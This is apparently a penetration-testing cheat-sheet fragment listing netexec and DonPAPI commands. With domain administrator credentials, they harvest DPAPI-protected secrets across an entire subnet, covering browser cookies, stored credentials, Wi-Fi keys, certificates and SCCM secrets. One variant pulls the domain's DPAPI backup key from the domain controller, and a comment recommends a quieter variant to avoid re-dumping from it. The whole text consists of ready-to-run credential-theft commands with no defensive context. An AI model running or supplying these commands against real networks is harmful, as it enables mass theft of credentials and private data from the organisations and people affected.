netexec smb 192.168.1.0/24 -u Administrator -p Password123 --dpapi cookies
netexec smb 192.168.1.0/24 -u Administrator -p Password123 --dpapi nosystem
# DonPAPI — comprehensive remote DPAPI harvest across subnet in one pass
# (auto-fetches backup key, decrypts masterkeys, dumps all DPAPI-protected secrets)
DonPAPI collect -d DOMAIN -u Administrator -p Password123 \
-t 192.168.1.0/24 --fetch-pvk
# DonPAPI — supply existing backup key (quieter; avoids re-dumping from DC)
DonPAPI collect -d DOMAIN -u Administrator -p Password123 \
-t 192.168.1.0/24 --pvkfile domain_backup.pvk
# DonPAPI — targeted collectors only
DonPAPI collect -d DOMAIN -u Administrator -p Password123 \
-t 192.168.1.0/24 --collectors SCCM,Certificates,Wifi,CredMan